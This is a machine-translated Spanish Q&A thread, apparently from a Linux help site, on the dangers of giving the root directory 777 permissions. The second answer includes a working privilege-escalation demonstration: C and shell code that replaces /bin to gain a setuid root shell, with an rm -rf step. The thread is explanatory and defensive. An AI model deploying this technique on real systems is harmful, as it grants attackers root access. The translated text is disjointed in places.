
Sin embargo, la mayor parte del contenido es 755.
¿Es esto un problema?
Respuesta1
Es interesante que en /
realidad permita 777
establecer permisos. La /
carpeta no debe tener 777
permisos, ya que esto significa que cualquier usuario que haya iniciado sesión en el sistema puede crear archivos y carpetas en el /
nivel raíz. He probado esto en una VM y túNO PUEDOelimina cualquiera de las carpetas o archivos que no estén 777
sin estar sudo
, root
o el owner
. Los permisos de acceso aún se siguen, como si intentar acceder a la /root
carpeta en sí le negaría el permiso. Sin embargo, dicho esto, aún puedes mover la /root
carpeta para /root.old
crear pequeños estragos.
Para solucionar este problema, puede ejecutar sudo chmod 755 /
para cambiar los permisos a lo que deberían ser. También puede ejecutarlo sudo chown root:root /
solo para asegurarse de que sea propiedad del root. NO ejecute ninguno de esos comandos con -R ya que esto cambiará todos los archivos y carpetas en la partición para que coincidan con los permisos y la propiedad.
¡Espero que esto ayude!
Respuesta2
/
no debería ser escribible en todo el mundo
/
ser escribible en todo el mundo puede ser unaenormeproblema. Al tener permisos de escritura /
, cualquier usuario puede mover/cambiar el nombre de cualquier archivo o directorio en /
. Esto significa que cualquier usuario puede reemplazar /etc
, /usr
o cualquiera de los otros directorios /
con directorios de su elección.
Denegación de servicio: trivial
Cualquier usuario puede hacer DoS trivialmente en su sistema, cambiando el nombre /etc
y /usr
.
Escalada de privilegios: un poco menos trivial
Es un poco más difícil realizar una escalada de privilegios. Un usuario puede reemplazar /bin
con su propia copia, y cualquier proceso que luego intente usar cp
, o inclusoiniciar un caparazón, quedará inmediatamente a su merced. Todo lo que el usuario debe hacer es esperar a que un proceso se ejecute como root para usar cualquier comando en /bin
, o que el usuario root use el inicio de sesión, y listo.
Ejemplo
bash.c
:
#include<sys/types.h>
#include<unistd.h>
int main(int argc, char*argv[], char *env[])
{
if (getuid() == 0) {
system("/home/muru/foo");
}
execve("/bin/bash", argv, env);
}
foo
:
#!/bin/sh
mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash
Y luego:
$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin
Y la próxima vez que root inicie un shell, obtendrá un ejecutable setuid en su directorio de inicio que luego podrá usar cómodamente para obtener root cuando lo desee, sin dejar mucho rastro.
Respuesta3
No. No es seguro que /
(el directorio raíz) tenga 777
permisos. Eso significa rwxrwxrwx
, es decir, que cada usuario tiene permiso de escritura en el directorio raíz.
Con ese permiso, cada usuario podrá crear nuevos subdirectorios, eliminar subdirectorios existentes y reemplazar subdirectorios existentes. Por ejemplo, un usuario malintencionado podría eliminarlo /bin
(cambiándole el nombre a /bin.old
) y crear uno nuevo /bin
de su propiedad que contenga ejecutables maliciosos. O el usuario podría eliminarlo /etc
(cambiándole el nombre a /etc.old
) y crear uno nuevo que contenga un archivo /etc
nuevo que le permita iniciar sesión en todas las cuentas del sistema./etc/passwd
/etc/shadow